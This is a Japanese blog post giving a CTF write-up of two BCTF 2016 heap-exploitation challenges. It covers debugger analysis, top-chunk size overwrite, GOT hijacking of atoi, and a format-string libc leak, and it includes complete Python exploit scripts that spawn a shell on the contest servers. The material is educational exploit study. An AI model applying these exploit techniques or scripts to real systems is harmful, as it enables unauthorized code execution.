つれづれなる備忘録

CTF関連の事やその他諸々

BCTF 2016 Writeup

今回Exploit問題は2問解いたけど,nomeaningさんと話しながらひらめいた感ある

ほんと人権無い

TokyoWesternsの御茶汲み拝命しようかしら

bcloud (Exploit 150)

下調べ

shiftcrops@S-Ubuntu:~/CTF/BCTF$ file bcloud.9a3bd1d30276b501a51ac8931b3e43c4 
bcloud.9a3bd1d30276b501a51ac8931b3e43c4: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped
shiftcrops@S-Ubuntu:~/CTF/BCTF$ checksec.sh --file bcloud.9a3bd1d30276b501a51ac8931b3e43c4 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   bcloud.9a3bd1d30276b501a51ac8931b3e43c4

どうやらノートを管理するプログラムのよう.

機能としてはNew, Show, Edit, Delete, Synchronizeが備わってる.

しかし,ShowとSynchronizeの中身はほぼ空っぽ

プログラム動作解析

今回はヒープ問

どの機能も入力文字数はしっかり管理されており,ヒープは溢れなさそう.

しかしながら,それ以前のName,及びOrgとHostの入力部で問題がある.

なお,今回のメモリマップは以下の通り

gdb-peda$ vmmap
Start      End        Perm  Name
0x08048000 0x0804a000 r-xp  /home/shiftcrops/CTF/BCTF/bcloud.9a3bd1d30276b501a51ac8931b3e43c4
0x0804a000 0x0804b000 r--p  /home/shiftcrops/CTF/BCTF/bcloud.9a3bd1d30276b501a51ac8931b3e43c4
0x0804b000 0x0804c000 rw-p  /home/shiftcrops/CTF/BCTF/bcloud.9a3bd1d30276b501a51ac8931b3e43c4
0x0804c000 0x0806d000 rw-p  [heap]
0xf7e12000 0xf7e13000 rw-p  mapped
0xf7e13000 0xf7fbb000 r-xp  /lib/i386-linux-gnu/libc-2.19.so
0xf7fbb000 0xf7fbd000 r--p  /lib/i386-linux-gnu/libc-2.19.so
0xf7fbd000 0xf7fbe000 rw-p  /lib/i386-linux-gnu/libc-2.19.so
0xf7fbe000 0xf7fc1000 rw-p  mapped
0xf7fd9000 0xf7fdb000 rw-p  mapped
0xf7fdb000 0xf7fdc000 r-xp  [vdso]
0xf7fdc000 0xf7ffc000 r-xp  /lib/i386-linux-gnu/ld-2.19.so
0xf7ffc000 0xf7ffd000 r--p  /lib/i386-linux-gnu/ld-2.19.so
0xf7ffd000 0xf7ffe000 rw-p  /lib/i386-linux-gnu/ld-2.19.so
0xfffdd000 0xffffe000 rw-p  [stack]


まずはNameの部分 f:id:shift_crops:20160321144633p:plain

GetStr関数とHey関数は勝手にわかりやすいように名前を付けている.

GetStr関数は引数にアドレス,最大長,終端文字を取る.しかし,ここで最大長の取り扱いに問題があり,0x40Byteを与えられた場合は文字を最大で0x40Byte取り,その後ろにNull文字を付ける.

0x08048829におけるヒープにNameをコピーする直前のスタックの様子

Breakpoint 1, 0x08048829 in ?? ()
gdb-peda$ x/32wx $esp
0xffffd000: 0x0804c008  0xffffd01c  0x0000000a  0x00000001
0xffffd010: 0xffffd070  0xf7fbd000  0xffffd05c  0x61616161
0xffffd020: 0x61616161  0x61616161  0x61616161  0x61616161
0xffffd030: 0x61616161  0x61616161  0x61616161  0x61616161
0xffffd040: 0x61616161  0x61616161  0x61616161  0x61616161
0xffffd050: 0x61616161  0x61616161  0x61616161  0x0804c008
0xffffd060: 0x00000000  0x00000000  0x00000000  0xadd16600
0xffffd070: 0xffffd0a8  0xf7ff0500  0xffffd088  0x080489a7

aを0x40Byte入力した直後,mallocによって確保されたヒープのアドレスが0xffffd05cに格納されている事が分かる.

また,文字列のコピーにはstrcpy関数を用いているため,mallocで取ったNameの格納領域には0xffffd01cから0xffffd060までの0x44Byteがコピーされることになる.

しかし,これではまだヒープのチャンク構造を改変できてはいないのでExploitにはつながらない.これは次のHeyなんちゃらを出力する関数でヒープアドレスをリークさせるために行っている.


次にOrgとHostの部分

こちらにもName部分と同様のバグがある.

0x0804895eにおけるヒープにOrgをコピーする直前のスタックとヒープの様子

Breakpoint 2, 0x0804895e in ?? ()
gdb-peda$ x/48wx $esp
0xffffcfc0: 0x0804c050  0xffffd020  0x0000000a  0xf7fbd000
0xffffcfd0: 0xffffd01c  0xffffd020  0xffffd064  0x62626262
0xffffcfe0: 0x62626262  0x62626262  0x62626262  0x62626262
0xffffcff0: 0x62626262  0x62626262  0x62626262  0x62626262
0xffffd000: 0x62626262  0x62626262  0x62626262  0x62626262
0xffffd010: 0x62626262  0x62626262  0x62626262  0x0804c098
0xffffd020: 0x63636363  0x00000000  0x00000000  0x00000000
0xffffd030: 0x00000000  0x00000000  0x00000000  0x00000000
0xffffd040: 0x00000000  0x00000000  0x00000000  0x00000000
0xffffd050: 0x00000000  0x00000000  0x00000000  0x00000000
0xffffd060: 0x00000000  0x0804c050  0x00000000  0xadd16600
0xffffd070: 0xffffd0a8  0xf7ff0500  0xffffd088  0x080489ac

gdb-peda$ x/56wx 0x0804c000
0x804c000:  0x00000000  0x00000049  0x61616161  0x61616161
0x804c010:  0x61616161  0x61616161  0x61616161  0x61616161
0x804c020:  0x61616161  0x61616161  0x61616161  0x61616161
0x804c030:  0x61616161  0x61616161  0x61616161  0x61616161
0x804c040:  0x61616161  0x61616161  0x0804c008  0x00000049
0x804c050:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c060:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c070:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c080:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c090:  0x00000000  0x00000049  0x00000000  0x00000000
0x804c0a0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c0b0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c0c0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c0d0:  0x00000000  0x00000000  0x00000000  0x00020e71

スタックに格納されている順番としては,下位アドレスから順にOrgのバッファ,Orgを格納するヒープのアドレス,Hostのバッファ,Hostを格納するヒープのアドレスとなっている.

重要なのはOrgの方である.(Hostの溢れは特に美味しくないので触れない)

Orgを0x40Byte書き込めば,Org-ヒープアドレス-Hostが一続きになり,strcpyで移されるサイズはmallocで確保した0x40Byteを優に超える.

Orgのコピー先は0x0804c098なので,Free領域のサイズ移行を任意の値で書き換えることができる.

0x0804897dに於けるOrgのコピー後のヒープの様子は次の通り

0x0804897d in ?? ()
gdb-peda$ x/56wx 0x0804c000
0x804c000:  0x00000000  0x00000049  0x61616161  0x61616161
0x804c010:  0x61616161  0x61616161  0x61616161  0x61616161
0x804c020:  0x61616161  0x61616161  0x61616161  0x61616161
0x804c030:  0x61616161  0x61616161  0x61616161  0x61616161
0x804c040:  0x61616161  0x61616161  0x0804c008  0x00000049
0x804c050:  0x63636363  0x00000000  0x00000000  0x00000000
0x804c060:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c070:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c080:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c090:  0x00000000  0x00000049  0x62626262  0x62626262
0x804c0a0:  0x62626262  0x62626262  0x62626262  0x62626262
0x804c0b0:  0x62626262  0x62626262  0x62626262  0x62626262
0x804c0c0:  0x62626262  0x62626262  0x62626262  0x62626262
0x804c0d0:  0x62626262  0x62626262  0x0804c098  0x63636363

0x0804c0dcに格納されていたFree領域のサイズが,確かにHostの先頭4Byteに書き換わっていることが確認できる.

さて,Freeサイズの書き換えを行って何が美味しいのかというと,Free領域のアドレスが既知であり,かつ『あるサイズ』のmallocが許されるのであれば任意のメモリの書き換えが行えるというものである.


ここからは本サービスのノート管理に入る.

Newでは任意のサイズの領域を確保し,そこに値を書き込むことが可能である.

新たにmallocする際,Free領域の双方向リンクをたどり,収まるチャンクを見つけたら必要な分だけ切り出しが行われる(ような気がする... 認識違いなど語弊があったらごめんなさい)

初めてのNewであれば,該当チャンクは1個のみ存在しているためそれを参照する.

ここで肝なのが,先程のFree領域のサイズ書き換えでそれを0xffffffffなどにしておいてやることである.

mallocする際に領域が足りないと判断されればmmapされ,そちらに領域を確保されるか,そもそも確保に失敗してしまう.そこでFree領域が巨大なように装えば,地続きで確保が行われる.

実際は確保といっても特にNull初期化などが行われるわけではなく,先頭のヘッダと切り出された余りのFree領域のヘッダが構成される程度である.


実際に書き換えを行いたいメモリのアドレスが0x08050000だとしたら,Free領域の先頭アドレスである0x0804c0e0を減じて,さらに管理領域(prev_sizeとsize)のサイズ8Byteを減じた0x3f18Byteだけ確保すればよい.この次にさらにmallocを行うと,ターゲットである0x08050000が返るので,そこに読み書きが可能となる.(ここで重要なのが,ターゲットアドレスは必ず8Byte単位にならなければならない事)

これでヒープより多少先のアドレスは自由に書き換えられるようになったものの,実際はGOTとかそこら辺に書き換えを行いたい.そのためには,負の(実際はUnsignedなのでものすごくデカい)サイズを確保する,ということを行う.

もしBSSのアドレスである0x0804b060をターゲットとするならば,0x0804b060-0x0804c0e0-8=0xffffef78(-4232)とすればよい.

Free領域の先頭アドレスに0xffffef78を加えるとアドレスの最上位ビットは溢れるが,そんなのはお構いなしで一周して目的のアドレスまでたどり着く.

ここで必要とされる条件が,mallocに負の値が渡されることを許すことである.

mallocはUnsignedで処理するのに,チェックはSignedで行っていることはザラにありそう.

今回は幸い特にサイズチェックを行っていないようなので,そのまま負の値を渡しててやれば,次のNewで任意のアドレスに領域確保が行われる.

解法

先の方法で任意のメモリ書き換えが可能となった.(直前4Byteも領域のサイズとして破壊されるので要注意)

まずはlibcのアドレスをリークさせないといけないが,今回はprintfがあるのでFSBを狙う.


始めはfreeのGOTをprintfのPLTに向けてやろうかと考えたが,そうするとprintfのGOTが壊れてしまう.

かといって,printfをresolveしようと0x80484d6に向けるとなると,今度はreadが・・・という繰り返しでこれは断念

次の案はmallocをprintfに向けるというもの

mallocには好きな値が与えられるが,これの戻り値がしっかりとしたメモリを指していないと,後の読み書きでSEGVを起こしてしまう.

printfは出力した文字数を返すので,これをメモリアドレスになるようにとも思ったが,文字数が膨大すぎるので断念


最後にたどり着いたのはatoiのGOTをprintfのPLTに向けてやることである.

atoiのGOTの直前はmemsetであるので使用されない(クリア)

atoiが戻り値として使われるのは,malloc以外ではメニュー選択なので高々6(クリア)

文字出力数を7以上にしてやれば,Invalid optionとして処理され,再びメニューに戻れる

完璧・・・!!!


そんなわけでatoiをprintfにして,%24$pでIO_2_1_stderrのアドレスをリークさせ,晴れてlibc_baseが求まる.

後は再びatoiのGOTをsystem関数に向けてやり,/bin/shをメニューで与えればシェルが立ち上がる.

Exploit

#!/usr/bin/env python
from sc_pwn import *

target     = {'host':'104.199.132.199','port':1970}

addr_plt_printf         = 0x080484d0
addr_got_atoi           = 0x0804b03c

offset_libc_IO_stderr   = 0x001aa960
offset_libc_system      = 0x00040190

#==========
def attack(cmn):
    cmn.read_until('name:\n')
    cmn.send('a'*0x40)
    cmn.read(0x44)
    
    addr_heap  = cmn.read_until('! ')[:-2]
    addr_heap += '\x00'*(4-len(addr_heap))
    addr_heap  = unpack_32(addr_heap)-8

    info('addr_heap      : 0x%08x' % addr_heap)

    cmn.read_until('Org:\n')
    cmn.send('a'*0x40)
    cmn.read_until('Host:\n')
    cmn.sendln(pack_32(0xffffffff))

    New(cmn, addr_got_atoi-0x4-(addr_heap+0xe0)-0x8, None)
    
    exploit_st1  = pack_32(0xdeadbeef)
    exploit_st1 += pack_32(addr_plt_printf)
    New(cmn, 0x100, exploit_st1)

    cmn.read_until('>>\n')
    cmn.sendln('%24$p')
    addr_libc_IO_stderr = int(cmn.read(10),16)
    addr_libc_base      = addr_libc_IO_stderr - offset_libc_IO_stderr
    addr_libc_system    = addr_libc_base + offset_libc_system
    info('addr_libc_base : 0x%08x' % addr_libc_base)

    exploit_st2  = pack_32(0xdeadbeef)
    exploit_st2 += pack_32(addr_libc_system)
    
    Edit(cmn, 0, exploit_st2)
    
    cmn.read_until('>>\n')
    cmn.sendln('/bin/sh')

def New(cmn, size, data):
    cmn.read_until('>>\n')
    cmn.sendln('1')
    cmn.read_until('content:\n')
    cmn.sendln(str(size))
    cmn.read_until('content:\n')
    if size>0:
        cmn.sendln(data)

def Edit(cmn, id_num, data):
    cmn.read_until('>>\n')
    cmn.sendln('3  ')
    cmn.read_until('id:\n')
    cmn.sendln(str(id_num))
    cmn.read_until('content:\n')
    cmn.sendln(data)

#==========

if __name__=='__main__':
    cmn = Communicate(target,mode='RAW')
    attack(cmn)

    sh = Shell(cmn)
    sh.select()
    del(sh)
    
    del(cmn)
    
#==========



ruin (Exploit 200)

下調べ

shiftcrops@S-Ubuntu:~/CTF/BCTF$ file ruin.7b694dc96bf316a40ff7163479850f78 
ruin.7b694dc96bf316a40ff7163479850f78: ELF 32-bit LSB  executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=072b955ca434ca0c1df6507144d4a2c4cdc9078e, stripped
shiftcrops@S-Ubuntu:~/CTF/BCTF$ checksec.sh --file ruin.7b694dc96bf316a40ff7163479850f78 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   ruin.7b694dc96bf316a40ff7163479850f78

ARMかよ

keyとかsecretとか,何か秘密の文字列を管理するサービスっぽい

プログラム動作解析

初めに8bitのkey(security)を入力するとサービスに入れる

update keyとedit secretは何回も出来るが,sign nameは1回きり

secretに使われるヒープは初めのログイン前から確保されているが,keyとnameは適宜確保される.

脆弱性は明らかで,edit secretでは0x8Byte確保した領域に最大0x18Byte読み込まれる

優しい

解法

手法としてはbcloud同様にFree領域のサイズを書き換えて確保 ⇒ 任意メモリ書き換え といった流れ

3のsign nameで最大0x20Byteのヒープ確保が行える

しかし,ここの文字数チェックがさっき述べたようなSignedでのチェック(sizeがint型で,size<=0x20かどうか)であるため,負数を与えれば軽々クリア f:id:shift_crops:20160321181639p:plain

これで,次に1のupdate keyで確保を行った領域が任意のアドレスを指す.


書き換え先としては,それぞれのヒープアドレスを格納している大域変数0x00010fb4と0x00010fbcが挙げられる.

(直接GOTを書き換えに行っても良いが,ここを書き換えれば後々メニュー1,2で自由に任意メモリの書き換えができるようになる)

書き換え先は8Byte単位のアドレスでなくてはいけないので,0x00010fb0から0x10バイト書き込むようにすればよい.

次の繰り返しで任意のメモリの書き換えが可能

  • keyのアドレスは常に0x00010fb0を向くようにする

  • update keyからsecretのアドレスをターゲットに書き換える

  • edit secretでターゲットに対して最大0x18Byte書き換える

     ____________
  ____↓______________________|__      _________
 |       |*secret| *name |  *key |  | target |
 |_______|_______|_______|_______|    |________|
  0x10fb0    |                            ↑
             |_____________________________|


今回はShowが実装されていないので,ここから情報のリークはできない

なので,bcloud同様にatoiをprintfに向けてGOTから__libc_start_mainをリーク

ここで,アドレス抜けてもlibc分かんねぇ~~うーん・・・とか悩んでると,なんとnomeaningさんがlibcガチャを手元のいくつかのRaspbianのうちの一つから引き当てた!すごい!

そんなわけで,再びatoiをsystemに向けて終了

Exploit

#!/usr/bin/env python
from sc_pwn import *

target     = {'host':'166.111.132.49','port':9999}

addr_ptr_buf        = 0x00010fb4

addr_plt_printf     = 0x00008594
addr_got_main       = 0x00010f74
addr_got_atoi       = 0x00010f80

offset_libc_system  = 0x0003a8b8
offset_libc_main    = 0x0001770c

prev_target         = None

#==========
def attack(cmn):
    cmn.read_until('key:')
    cmn.send('a'*8)
    cmn.read(8)
    
    addr_heap  = cmn.read_until(' is')[:-3]
    addr_heap += '\x00'*(4-len(addr_heap))
    addr_heap  = unpack_32(addr_heap)-8
    info('addr_heap         : 0x%08x' % addr_heap)

    cmn.read_until('key:')
    cmn.send('security')

    exploit_st1  = '\x00'*0xc
    exploit_st1 += pack_32(0xffffffff)
    cmn.read_until('(1-4):')
    cmn.sendln('2')
    cmn.read_until('secret:')
    cmn.sendln(exploit_st1)

    cmn.read_until('(1-4):')
    cmn.sendln('3')
    cmn.read_until('length:')
    cmn.sendln(str(addr_ptr_buf-0x4-(addr_heap+0x18)-0x8))

    rewrite(cmn, addr_got_atoi, pack_32(addr_plt_printf))

    exploit_st2  ='%6$s'
    exploit_st2 += pack_32(addr_got_main)
    cmn.read_until('(1-4):')
    cmn.sendln(exploit_st2)

    addr_libc_main      = unpack_32(cmn.read_until('wrong')[0:4])
    addr_libc_base      = addr_libc_main - offset_libc_main
    addr_libc_system    = addr_libc_base + offset_libc_system
    info('addr_libc_base    : 0x%08x' % addr_libc_base)
    
    rewrite(cmn, addr_got_atoi, pack_32(addr_libc_system), False)
    
    cmn.read_until('(1-4):')
    cmn.sendln('/bin/sh')    

def rewrite(cmn, addr, data, atoi=True):
    global prev_target
    
    ptr_buf  = pack_32(0xdeadbeef)
    ptr_buf += pack_32(addr)            # secret(2)
    ptr_buf += pack_32(0xcafebabe)      # name  (3)
    ptr_buf += pack_32(addr_ptr_buf-4)  # key   (1)

    if addr != prev_target:
        cmn.read_until('(1-4):')
        cmn.sendln('1' if atoi else '')
        cmn.read_until('key:')
        cmn.send(ptr_buf)
        prev_target = addr

    cmn.read_until('(1-4):')
    cmn.sendln('2')
    cmn.read_until('secret:')
    cmn.sendln(data)

#==========

if __name__=='__main__':
    cmn = Communicate(target,mode='RAW')
    attack(cmn)

    sh = Shell(cmn)
    sh.select()
    del(sh)
    
    del(cmn)
    
#==========